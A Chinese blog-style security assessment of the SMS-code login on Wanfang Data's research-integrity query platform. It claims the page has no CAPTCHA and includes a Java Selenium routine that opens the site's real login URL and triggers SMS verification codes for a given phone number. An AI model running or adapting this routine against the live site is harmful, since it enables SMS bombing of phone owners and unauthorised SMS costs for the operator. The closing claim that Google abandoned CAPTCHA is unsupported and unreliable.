前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
1. 暴力破解密码,造成用户信息泄露
2. 短信盗刷的安全问题,影响业务及导致用户投诉
3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 科研诚信查询平台PC 注册入口
简介:科研诚信查询平台是万方数据集团下的网站。
二、 安全性分析报告:
前端界面分析,科研诚信查询平台未采取任何验证措施,存在严重的安全隐患,同行一般会在注册下发短信验证码时采用图形验证、行为验证方式。
三、 测试方法:
1 模拟器交互部分
private final String INDEX_URL = "https://cx.wanfangdata.com.cn/oauth2/authorization/keycloak";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
try {
RetEntity retEntity = new RetEntity();
driver.get(INDEX_URL);
driver.findElement(By.xpath("//p[text()='短信验证码登录']")).click();
// 输入手机号
WebElement phoneElemet = driver.findElement(By.id("phoneNumber"));
phoneElemet.sendKeys(phone);
// 点击发送验证码按钮
WebElement sendElemet = driver.findElement(By.id("btnSendVerificationCode"));
if (sendElemet != null)
sendElemet.click();
Thread.sleep(1000);
String gtInfo = sendElemet.getAttribute("value");
retEntity.setMsg(gtInfo);
if (gtInfo != null && gtInfo.contains(":")) {
retEntity.setRet(0);
} else {
System.out.println("gtInfo=" + gtInfo);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
driver.manage().deleteAllCookies();
}
}
2 测试结果输出:
由于碰到严重设计缺陷,本次测评非常简单
二丶结语
科研诚信查询平台作为万方数据的论文等查询平台,具有很高的人气和影响力,从平台的实力来看应该是非常雄厚,但好像对短信被盗刷的安全方面不够重视 ,测试结果就是随便你怎么攻击都可以,这也有点太开放了, 短信验证码难道不要钱吗 ? 这对黑客来说肯定是好消息, 弄个简单的脚本就可以搞定
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?